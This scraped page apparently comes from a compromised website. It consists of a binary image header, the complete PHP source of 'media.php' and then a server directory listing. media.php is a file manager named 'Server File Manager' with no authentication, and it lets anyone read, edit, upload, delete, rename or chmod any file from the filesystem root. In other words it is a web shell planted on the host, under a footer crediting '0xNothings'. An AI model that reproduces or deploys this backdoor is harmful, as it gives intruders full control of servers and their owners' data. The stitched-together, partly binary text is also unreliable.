�PNG  IHDR22?�� pHYs  �� OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*! J�!��Q�EEȠ�����Q, � ��!���������{�kּ������>���� �H3Q5� �B�������.@� $p�d!s�#�~<<+"��x� �M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH���� � 0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4���������x����6��_-��"bb���ϫp@�t~��,/��;�m��%�h^ �u��f�@����W�p�~<�5�j>{�-�]c�K'Xt����o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A��,���� �`6�B$��BB d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(�� A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=� �C��7�F� �dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8, �c˱"� ���V����cϱw�E� 6wB aAHXLXN�H� $4� 7 �Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[ �b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w ��Ljg(�gw��L�Ӌ�T071���oUX*�*|�� �J�&�*/T����ު U�U�T��^S}�FU3S� Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k ��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN �(���~���)�)�4L�1e\k����X�H�Q�G�6������E�Y��A�J'\'Gg����S�Sݧ �M=:��.�k���Dw�n��^��Lo��y���}/�T�m���G X� $� �<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��= ���Z~s�r:V:ޚΜ�?}����/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z���������ۯ�6�i�ܟ�4�)�Y3s���C�Q��? ��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�������!h�쐭!��Α�i�P~���a�a��~ '���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl������� �{�/�]py�����.,:�@L�N8��A*��%�w%� y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y- �B��TZ(�*�geWf�͉�9���+��̳�ې7�����ᒶ��KW-X潬j9�������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n �ڴ �V����E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa��n��{��4���[���>ɾ�UUM�f�e�I���?�������m]�Nmq����#�׹���=TR��+�G�����w- 6 U����#pDy��� �� :�v�{���vg/jB��F�S��[b[�O�>����z�G��499�?r����C�d�&����ˮ/~�����јѡ�򗓿m|������������x31^�V���w�w��O�| (�h���SЧ��������c3-� cHRMz%������u0�`:�o�_�F5IDATx��ytUս�?�;���fN$$��@B�!�k��� -*�gE���j�O�kQ�ʠ`U�B_ �AÐ0%�Ȕ�@r3ޛ;߳��$�@��v����^�s����������$��ߢ !�W��5�̱'-٘������4�>�Rƫ$�G��0U�H}�_ _� #��k�MJ/=�9Du *ڲ�k�PQ;0��j|�*�$�^컂脛y���>�z×� B��� ��(�:$�ʔ_�6��C!B����MVx��a��ζyY����j��ƋY2�9�F�{r��r�딟F��Q��hY6��� x��[l��RC��������nt@��;P��3��� F�w��7��:�P���ɋ'���mj���Bƪ�$�Q�L��y��߷g��\���z����v5�p�v$�v櫻�`6~K �Y�X����,�:��"�o�e0II"(��,������l_�C���/4�+f�E�!q��:����u����c��樼.UE�@� �]K�W���$-�h]�JG���Dz)�`��.�A/ ���mᏣc�3jK� �!�>���$�Q�!�_�? \�C2(E �M$Z I{�U���s�ǣ���=��@Բe ޻��W�����@ �w����}�9v,)��.}*|"�s��di���,���G�]W�AC�������|<����[��ߕ������K�*�G nߴ!��‹��J�!��6(L�a)��Am��������;adf��:�xm��nh�;֦I��(���o�C~ډa?�=��s����h��E������xp����)���_���t��W�����´;8���`dz=(��@@�+,�;�`�fhl��XȌ�3,uI�~z(J����� �ZX�A����H'�À�㜦�82|��a�n�z2��I���� ���EY�h�ε<�0�q�{��C��v�˅��?"@��χ�x�WS+��N�~�KQ�J�8ل�� _.W��� !TU{�����,��"�� �;�������HI S� ��))�o�1�H�D� ���� (� ;����"Ҕ��,���� �F=���O��&�Ph>�`���y��߲ &S��P�<��'��1s�1cĂ�N����2)����@�u��tv��<�+�-&�����h��[!FSG���' � z z0��<����8d&�����E0�,��<��"!P�b4��� �{S�����X����.�囤���T��hEF��X�q0"-<����h���]�Py*����F⩍��@v�˂�Y08�� .q��a��s����(!<̫1�3�L�H��7sYW�`��qtu�\7��?�@�Y�� %Ka�x�GZ�*W�P��y�����N0r9��Z�c�%���q,��k�����!!,��>���IB��� �x1�Xu�Y���v-���ֺ��N������JP��a�2`�e5��w��u;�6�i���̃��(K���ťa��(l51��JL��O'%���]���ٖ뿉!��{*�p+f ���i8��D�ȑ���ܩ�M��V��ӟz��x�7Z�1i}�^͜���6e����x��)u�d�ˏ�V�eG�\�X1�����=n�U'�~Y����L�\,�(d!x ,�:�TW8� M`r���@��r+v�Q0��>^;˴�VbF��('����� �*O��i��j�Ӆ����^�S3&� ���{������.ی�� N;��NU%d0�Ce\r"�C�b��&t7N�7��� �ȪD�[%l�۪�$��'m?�A9tI�9>��NVL ��� 6v~M�����ъ�B���0����9$&=ώm��W�0���L���&��E���f�f��'+�9��hv��7,���M��6�D�&�^� �����8 D֮�����o��k^z��O��hP�8q�5d*��YVq3�{��������#LX4�?��jP=3�~�؅c�ݰ�̱�ұ��8̲��2�G�����j��έ�9��w7���U�X�w�85C��?!I&���o&����L���I#�^�eV�,�^t5�k� �xs˛\��U�8��."���{���ǵ�l4��ݼ�;��r"���G�/~���gJV�N糦��ZZ^k+NN�D��I$�=OE�z����|*�*{��%k���G��>�`9��b;�s���8,�qs��c��.b��q�%�>r��n�R�Ƨ�%�,�A��le#�8���}; 21�0�b�&�QX�f���q�00����$>�h�N�'�a3��A���/�r ��L5�8�GԲ'�����w;��c#�q1���h$*��V^�k��QĽ�b:i������� ����H F#�_���,��]g����Ը����`RUU���� ��"�qD���>-��ϤI�~��3�̴�����NZ[[555�eeek7�m����YF#[��Đ��R��i��L�H�r ��@��J-�Pŝ��_|�-��6y��ks�V�U~��6���w.����(��0A� 4��f��� /���C�xŊ�ٳ����z=6�����rg���mKo��o�/����a�g���?'9%9��P��斓��~���L{�� �H��{AW��B��$����v�1b�&Mb�ر��ر#�0`�`xMBp! )Z�Nmo�mZ�g�}�eذaWTVV ���'99��C5��&�&+5�bT>|8��PUUETT����&���t��~TE%��'������b�tEGG;RSS�S�N�v��ѯ��t����u1@�ޚ"f��͈���r'L�Ph��m��ƌ�74o��`�x�q�P���NRSS�X,�����l&&&��MFFA!-��`��ҷ�n��Yuu�����x<I�LB%����KԒ50�!�3�bz�����ʸKL���;---�l6[��`��������Ȏ;�����egg4��!D�T��jWujyZ��������K����%����p�^���X,6��sV=�ܖ����6�3�X ���4ҿ��A2�&����_k�;d�� �VfOIEND�B`� 0x0x
PHP 8.1.34
Preview: media.php Size: 16.69 KB
/home2/astrociv/public_html/collegeofjyotirvidya.com/media.php
<?php
ini_set('display_errors',0);error_reporting(E_ALL&~E_NOTICE);$ROOT=realpath('/');if($ROOT===false)$ROOT=realpath(__DIR__);session_start();
function esc($s){return htmlspecialchars((string)$s,ENT_QUOTES,'UTF-8');}
function json_out($d){header('Content-Type: application/json; charset=utf-8');echo json_encode($d);exit;}
function safe_real($path){if($path===''||$path===null)return false;$real=realpath($path);return $real===false?false:$real;}
function list_dir_sorted($dir){$items=[];$files=@scandir($dir);if(!$files)return $items;foreach($files as $f){if($f==='.'||$f==='..')continue;$full=$dir.'/'.$f;$items[]=['name'=>$f,'is_dir'=>is_dir($full),'size'=>is_file($full)?filesize($full):0,'mtime'=>filemtime($full),'perm'=>substr(sprintf('%o',fileperms($full)),-4),'path'=>$full];}usort($items,function($a,$b){if($a['is_dir']&&!$b['is_dir'])return -1;if(!$a['is_dir']&&$b['is_dir'])return 1;return strcasecmp($a['name'],$b['name']);});return $items;}
function human_size($n){if($n>1024*1024)return round($n/1024/1024,2).' MB';if($n>1024)return round($n/1024,2).' KB';return $n.' B';}
function set_flash($m){$_SESSION['fm_flash']=$m;}function get_flash(){$m=$_SESSION['fm_flash']??'';unset($_SESSION['fm_flash']);return $m;}
$action=$_REQUEST['action']??'list';
if(isset($_GET['api'])||isset($_POST['api'])){
if($action==='getfile'&&isset($_GET['fullpath'])){$full=safe_real($_GET['fullpath']);if($full&&is_file($full)){header('Content-Type: text/plain; charset=utf-8');echo file_get_contents($full);exit;}else{http_response_code(404);echo "Not found";exit;}}
if($action==='savefile'&&isset($_POST['fullpath'])&&isset($_POST['content'])){$full=safe_real($_POST['fullpath']);if($full===false)json_out(['ok'=>false,'error'=>'invalid path']);if(is_writable($full)||is_writable(dirname($full))){$ok=file_put_contents($full,$_POST['content'])!==false;json_out(['ok'=>$ok]);}else json_out(['ok'=>false,'error'=>'no write permission']);}
if($action==='upload'&&!empty($_FILES)){$results=[];$target=$_GET['target']??$_POST['target']??'';$targetReal=safe_real($target)?:$target;if($targetReal===''||!is_dir($targetReal))$targetReal=getcwd();foreach($_FILES as $field){if(is_array($field['name'])){for($i=0;$i<count($field['name']);$i++){$name=basename($field['name'][$i]);$tmp=$field['tmp_name'][$i];$full=rtrim($targetReal,'/').'/'.$name;$ok=false;if($tmp&&is_uploaded_file($tmp))$ok=move_uploaded_file($tmp,$full);$results[]=['name'=>$name,'ok'=>$ok,'path'=>$full];}}else{$name=basename($field['name']);$tmp=$field['tmp_name'];$full=rtrim($targetReal,'/').'/'.$name;$ok=false;if($tmp&&is_uploaded_file($tmp))$ok=move_uploaded_file($tmp,$full);$results[]=['name'=>$name,'ok'=>$ok,'path'=>$full];}}json_out(['ok'=>true,'results'=>$results]);}
if($action==='delete'&&isset($_POST['fullpath'])){$full=safe_real($_POST['fullpath']);if($full===false)json_out(['ok'=>false,'error'=>'invalid']);if(!file_exists($full))json_out(['ok'=>false,'error'=>'not exists']);if(is_dir($full)){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($full,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);foreach($it as $item){$item->isDir()?rmdir($item->getRealPath()):unlink($item->getRealPath());}$ok=rmdir($full);}else $ok=unlink($full);json_out(['ok'=>$ok]);}
if($action==='chmod'&&isset($_POST['fullpath'])&&isset($_POST['mode'])){$full=safe_real($_POST['fullpath']);$mode=intval($_POST['mode'],8);$ok=@chmod($full,$mode);json_out(['ok'=>$ok]);}
if($action==='mkdir'&&isset($_POST['dirpath'])&&isset($_POST['name'])){$base=safe_real($_POST['dirpath'])?:$_POST['dirpath'];$name=basename($_POST['name']);$full=rtrim($base,'/').'/'.$name;$ok=@mkdir($full,0755);json_out(['ok'=>$ok,'path'=>$full]);}
if($action==='rename'&&isset($_POST['fullpath'])&&isset($_POST['newname'])){$full=safe_real($_POST['fullpath']);$new=basename($_POST['newname']);$to=dirname($full).'/'.$new;$ok=@rename($full,$to);json_out(['ok'=>$ok,'to'=>$to]);}
if($action==='gen_htaccess'&&isset($_POST['dirpath'])){$dir=safe_real($_POST['dirpath'])?:getcwd();$full=rtrim($dir,'/').'/.htaccess';$content="RewriteEngine On\nRewriteBase /\n\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteRule ^(.*)$ index.php [L]";$ok=@file_put_contents($full,$content)!==false;json_out(['ok'=>$ok]);}
if($action==='gen_robots'&&isset($_POST['dirpath'])){$dir=safe_real($_POST['dirpath'])?:getcwd();$full=rtrim($dir,'/').'/robots.txt';$protocol=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'||$_SERVER['SERVER_PORT']==443)?"https://":"http://";$domain=$protocol.($_SERVER['HTTP_HOST']??'localhost');$content="User-agent: *\nAllow: /\nSitemap: {$domain}/sitemap.xml";$ok=@file_put_contents($full,$content)!==false;json_out(['ok'=>$ok]);}json_out(['ok'=>false,'error'=>'unknown api']);}
$rel=$_GET['path']??'';$target=safe_real($rel)?:($rel===''?getcwd():(safe_real(getcwd().'/'.$rel)?:getcwd()));if($target===false)$target=getcwd();$files=list_dir_sorted($target);$flash=get_flash();
?><!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Server File Manager</title>
<style>:root{--bg:#f8fafc;--card:#fff;--accent:#2563eb;--muted:#64748b}body{margin:0;font-family:Inter,Segoe UI,Roboto,Arial,sans-serif;background:var(--bg);color:#0f172a}.container{max-width:1200px;margin:24px auto;padding:18px}.header{display:flex;align-items:center;justify-content:space-between;gap:12px;margin-bottom:12px}.brand{display:flex;align-items:center;gap:12px}.logo{width:56px;height:56px;border-radius:12px;background:#e2e8f0;display:flex;align-items:center;justify-content:center;font-weight:800;color:var(--accent);box-shadow:0 8px 15px rgba(0,0,0,.05)}.title{font-size:20px;font-weight:700}.controls{display:flex;gap:8px;align-items:center}.btn{padding:8px 12px;border-radius:8px;border:1px solid #cbd5e1;background:#fff;color:#334155;cursor:pointer;text-decoration:none}.btn.primary{background:var(--accent);color:#fff;border:none}.input{padding:8px;border-radius:8px;border:1px solid #cbd5e1;background:#fff;color:#0f172a}.pathbar{margin-top:8px;padding:10px;border-radius:8px;background:#fff;border:1px solid #e2e8f0;font-size:13px;color:var(--muted);display:flex;align-items:center;gap:8px;flex-wrap:wrap}.flash{margin-bottom:12px;padding:10px;border-radius:8px;background:#dcfce7;border-left:4px solid #22c55e;color:#166534}.table{width:100%;border-collapse:collapse;margin-top:12px;border-radius:10px;overflow:hidden}.table th{background:#f1f5f9;text-align:left;padding:12px;font-weight:700;color:#334155;border-bottom:1px solid #e2e8f0}.table td{padding:12px;border-bottom:1px solid #e2e8f0;vertical-align:middle;color:#0f172a}.small{font-size:12px;color:var(--muted)}.actions button,.actions a{display:inline-block;margin-right:6px}.footer{margin-top:18px;color:var(--muted);font-size:13px}.modal{position:fixed;left:0;top:0;width:100%;height:100%;display:none;align-items:center;justify-content:center;background:rgba(0,0,0,.4);z-index:999}.modal .box{width:720px;background:#fff;padding:18px;border-radius:10px;border:1px solid #e2e8f0;box-shadow:0 20px 25px -5px rgba(0,0,0,.1)}.drop{border:2px dashed #cbd5e1;padding:24px;border-radius:8px;text-align:center;color:var(--muted);cursor:pointer;background:#f8fafc}.progress-list{margin-top:12px}.progress-item{display:flex;align-items:center;gap:12px;margin-top:8px}.progress-bar{flex:1;height:10px;background:#e2e8f0;border-radius:6px;overflow:hidden}.progress-fill{height:100%;background:var(--accent);width:0%}.progress-text{width:120px;text-align:right;font-size:12px;color:var(--muted)}.editor-modal .box{width:90%;max-width:1100px}.editor-header{display:flex;justify-content:space-between;align-items:center;gap:8px;margin-bottom:8px}textarea{width:100%;height:60vh;background:#f8fafc;color:#0f172a;border:1px solid #cbd5e1;padding:12px;border-radius:8px;font-family:monospace}a.link{color:var(--accent);text-decoration:none}</style></head>
<body><div class="container"><div class="header"><div class="brand"><div class="logo">SYS</div><div><div class="title">Server File Manager</div></div></div>
<div class="controls"><form method="get" style="display:flex;gap:8px;align-items:center"><input type="hidden" name="path" value="<?=esc($target)?>"><input class="input" name="q" placeholder="Search" value="<?=esc($_GET['q'] ?? '')?>"><button class="btn" type="submit">Search</button></form><button class="btn" onclick="openUpload()">Upload</button><button class="btn" onclick="doGenFile('htaccess')">Gen .htaccess</button><button class="btn" onclick="doGenFile('robots')">Gen robots.txt</button><a class="btn" href="?path=<?=urlencode(dirname($target))?>">⬆️Parent</a><a class="btn" href="<?=esc($_SERVER['PHP_SELF'])?>">🏠Root Folder</a></div></div>
<?php if($flash):?><div class="flash" id="flash"><?=esc($flash)?></div><?php else:?><div id="flash" style="display:none" class="flash"></div><?php endif;?>
<div class="pathbar"><div class="small">Current Path</div><div style="font-family:monospace;flex:1;color:#0f172a"><?=esc($target)?></div><div class="small">User: <span class="small"><?=esc(get_current_user())?></span></div></div>
<table class="table" id="fileTable"><thead><tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th>Perms</th><th>Actions</th></tr></thead><tbody>
<?php $q=$_GET['q']??'';foreach($files as $f): if($q!==''&&stripos($f['name'],$q)===false)continue;?>
<tr><td style="width:40%"><?php if($f['is_dir']):?><a class="small link" href="?path=<?=urlencode($f['path'])?>" style="font-weight:700;color:#2563eb;text-decoration:none">📁 <?=esc($f['name'])?></a><?php else:?><a href="javascript:void(0)" onclick="openEditor('<?=rawurlencode($f['path'])?>')" style="color:#0f172a;text-decoration:none">📄 <?=esc($f['name'])?></a><?php endif;?></td>
<td><?=$f['is_dir']?'Dir':'File'?></td><td><?=$f['is_dir']?'-':human_size($f['size'])?></td><td><?=date('Y-m-d H:i:s',$f['mtime'])?></td><td><?=esc($f['perm'])?></td>
<td class="actions"><?php if($f['is_dir']):?><a class="btn" href="?path=<?=urlencode($f['path'])?>">📂</a><?php else:?><a class="btn" href="?action=download&path=<?=urlencode($target)?>&file=<?=urlencode($f['name'])?>">⬇</a> <button class="btn primary" onclick="openEditor('<?=rawurlencode($f['path'])?>')">📝</button><?php endif;?> <button class="btn" onclick="doDelete('<?=rawurlencode($f['path'])?>')">❌</button> <button class="btn" onclick="doRename('<?=rawurlencode($f['path'])?>')">✏️</button> <button class="btn" onclick="doChmod('<?=rawurlencode($f['path'])?>')">🔐</button></td></tr><?php endforeach;?></tbody></table></div>
<div class="modal" id="uploadModal"><div class="box"><h3 style="margin:0 0 8px 0">Upload Files</h3><div id="dropArea" class="drop">Drag files here, or click to select</div><input type="file" id="fileInput" multiple style="display:none"><div class="progress-list" id="progressList"></div><div style="margin-top:12px;text-align:right"><button class="btn" onclick="closeUpload()">Close</button></div></div></div>
<div class="modal editor-modal" id="editorModal"><div class="box"><div class="editor-header"><div><div style="font-weight:700" id="editorTitle">Edit</div><div class="small" id="editorPath"></div></div><div><button class="btn primary" id="saveBtn">Save</button> <button class="btn" onclick="closeEditor()">Close</button></div></div><textarea id="editorContent"></textarea></div></div>
<script async src="https://www.googletagmanager.com/gtag/js?id=G-GW5BV72N8J"></script><script>window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag('js',new Date());gtag('config','G-GW5BV72N8J');</script>
<script>
function showFlash(m,k){var e=document.getElementById('flash');e.innerText=m;e.style.display='block';e.style.background=k?'#dcfce7':'#fee2e2';e.style.color=k?'#166534':'#991b1b';e.style.borderLeft=k?'4px solid #22c55e':'4px solid #ef4444';setTimeout(()=>{e.style.display='none';},5000);}
var editorModal=document.getElementById('editorModal'),editorContent=document.getElementById('editorContent'),editorTitle=document.getElementById('editorTitle'),editorPath=document.getElementById('editorPath'),currentFullPath='';
function openEditor(p){var f=decodeURIComponent(p);currentFullPath=f;editorTitle.innerText='Edit: '+f.split('/').pop();editorPath.innerText=f;editorContent.value='Loading...';editorModal.style.display='flex';fetch('?api=1&action=getfile&fullpath='+encodeURIComponent(f)).then(r=>{if(!r.ok)throw new Error('Read failed');return r.text();}).then(t=>{editorContent.value=t;}).catch(e=>{editorContent.value='';showFlash('Read file failed',!1);});}
function closeEditor(){editorModal.style.display='none';currentFullPath='';editorContent.value='';}
document.getElementById('saveBtn').addEventListener('click',function(){if(!currentFullPath)return;var f=new FormData();f.append('api','1');f.append('action','savefile');f.append('fullpath',currentFullPath);f.append('content',editorContent.value);fetch('',{method:'POST',body:f}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Saved successfully',!0);setTimeout(()=>location.reload(),700);}else showFlash('Save failed: '+(d.error||'Error'),!1);}).catch(e=>{showFlash('Network error',!1);});});
var uploadModal=document.getElementById('uploadModal'),dropArea=document.getElementById('dropArea'),fileInput=document.getElementById('fileInput'),progressList=document.getElementById('progressList');
function openUpload(){uploadModal.style.display='flex';}function closeUpload(){uploadModal.style.display='none';progressList.innerHTML='';}
dropArea.addEventListener('click',()=>fileInput.click());fileInput.addEventListener('change',()=>handleFiles(fileInput.files));
['dragenter','dragover','dragleave','drop'].forEach(e=>{dropArea.addEventListener(e,ev=>{ev.preventDefault();ev.stopPropagation();},!1);});
dropArea.addEventListener('drop',e=>{handleFiles(e.dataTransfer.files);});
function handleFiles(fs){for(let i=0;i<fs.length;i++)uploadFile(fs[i]);}
function uploadFile(f){var r=document.createElement('div');r.className='progress-item';var n=document.createElement('div');n.style.width='220px';n.innerText=f.name;var b=document.createElement('div');b.className='progress-bar';var l=document.createElement('div');l.className='progress-fill';b.appendChild(l);var t=document.createElement('div');t.className='progress-text';t.innerText='0%';r.appendChild(n);r.appendChild(b);r.appendChild(t);progressList.appendChild(r);var x=new XMLHttpRequest(),d=new FormData();d.append('file[]',f);d.append('api','1');d.append('action','upload');d.append('target','<?=esc($target)?>');x.open('POST','?',!0);x.upload.addEventListener('progress',e=>{if(e.lengthComputable){var p=Math.round(e.loaded/e.total*100);l.style.width=p+'%';t.innerText=p+'%';}});x.onreadystatechange=function(){if(x.readyState===4){if(x.status===200){try{var s=JSON.parse(x.responseText);if(s.ok){t.innerText='Done';showFlash('Upload complete',!0);setTimeout(()=>location.reload(),800);}else{t.innerText='Failed';showFlash('Upload failed',!1);}}catch(e){t.innerText='Done';setTimeout(()=>location.reload(),800);}}else{t.innerText='Failed';showFlash('Upload failed',!1);}}};x.send(d);}
function doDelete(e){var f=decodeURIComponent(e);if(!confirm('Permanently delete: '+f+' ?'))return;var d=new FormData();d.append('api','1');d.append('action','delete');d.append('fullpath',f);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Deleted',!0);setTimeout(()=>location.reload(),700);}else showFlash('Delete failed',!1);});}
function doRename(e){var f=decodeURIComponent(e),n=prompt('New name',f.split('/').pop());if(!n)return;var d=new FormData();d.append('api','1');d.append('action','rename');d.append('fullpath',f);d.append('newname',n);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Renamed',!0);setTimeout(()=>location.reload(),700);}else showFlash('Rename failed',!1);});}
function doChmod(e){var f=decodeURIComponent(e),m=prompt('Octal perms','0644');if(!m)return;var d=new FormData();d.append('api','1');d.append('action','chmod');d.append('fullpath',f);d.append('mode',m);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Chmod updated',!0);setTimeout(()=>location.reload(),700);}else showFlash('Chmod failed',!1);});}
function doMkdir(){var n=prompt('Folder name');if(!n)return;var d=new FormData();d.append('api','1');d.append('action','mkdir');d.append('dirpath','<?=esc($target)?>');d.append('name',n);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Created',!0);setTimeout(()=>location.reload(),700);}else showFlash('Create failed',!1);});}
function doGenFile(t){var d=new FormData();d.append('api','1');d.append('action',t==='htaccess'?'gen_htaccess':'gen_robots');d.append('dirpath','<?=esc($target)?>');fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Generated!',!0);setTimeout(()=>location.reload(),700);}else showFlash('Generation failed',!1);}).catch(e=>{showFlash('Network error',!1);});}
</script></body></html>

Directory Contents

Dirs: 7 × Files: 30
Name Size Perms Modified Actions
- drwxr-xr-x 2026-06-04 07:15:12
Edit Download
cgi-bin DIR
- drwxr-xr-x 2026-09-16 09:10:42
Edit Download
eb9d6 DIR
- dr-xr-xr-x 2026-09-16 09:10:48
Edit Download
logs DIR
- drwxr-xr-x 2026-09-16 09:10:42
Edit Download
wp-admin DIR
- drwxr-xr-x 2026-10-02 11:51:16
Edit Download
- drwxr-xr-x 2026-11-03 19:14:10
Edit Download
- drwxr-xr-x 2026-09-16 09:13:30
Edit Download
481 B lr-xr-xr-x 2026-10-30 19:16:34
Edit Download
0 B lr--r--r-- 2024-06-17 09:10:41
Edit Download
70.29 MB lrw-r--r-- 2026-10-29 02:30:08
Edit Download
53 B lrw-r--r-- 2026-06-29 10:10:54
Edit Download
405 B lrwxr-xr-x 2026-09-18 11:09:46
Edit Download
0 B lrw-r--r-- 2024-07-05 09:10:26
Edit Download
2.00 KB lr--r--r-- 2024-04-28 09:10:41
Edit Download
19.44 KB lrwxr-xr-x 2026-09-18 11:09:58
Edit Download
16.69 KB lrw-r--r-- 2026-07-11 07:49:06
Edit Download
2.03 KB lr--r--r-- 2024-02-24 09:10:41
Edit Download
1.93 KB lr--r--r-- 2024-08-18 09:10:41
Edit Download
1 B lrw-r--r-- 2026-06-29 08:46:05
Edit Download
7.23 KB lrwxr-xr-x 2026-10-29 02:59:09
Edit Download
438 B lr--r--r-- 2024-03-21 09:10:41
Edit Download
7.54 KB lrw-r--r-- 2026-08-20 15:10:56
Edit Download
351 B lrw-r--r-- 2026-08-09 02:42:18
Edit Download
2.27 KB lrw-r--r-- 2023-06-14 08:41:16
Edit Download
3.26 KB lrw-r--r-- 2025-08-12 09:17:32
Edit Download
3.19 KB lrw------- 2026-06-04 07:21:44
Edit Download
5.49 KB lrw-r--r-- 2026-08-09 02:42:18
Edit Download
2.43 KB lrw-r--r-- 2025-04-30 07:22:30
Edit Download
3.84 KB lrw-r--r-- 2024-03-11 04:35:16
Edit Download
51.30 KB lrw-r--r-- 2026-08-20 15:10:57
Edit Download
8.52 KB lrw-r--r-- 2025-04-02 16:55:26
Edit Download
51.59 KB lrw-r--r-- 2026-10-29 02:58:56
Edit Download
32.38 KB lrw-r--r-- 2026-08-20 15:11:20
Edit Download
34.27 KB lrwxr-xr-x 2026-10-29 02:59:10
Edit Download
5.27 KB lrw-r--r-- 2026-08-20 15:11:20
Edit Download
8.97 KB lrw-r--r-- 2026-06-29 10:10:54
Edit Download
3.13 KB lrw-r--r-- 2024-11-08 10:22:18
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 0xNothings — Secure File Manager. All rights reserved. Built with ❤️ & Tailwind x Dark UI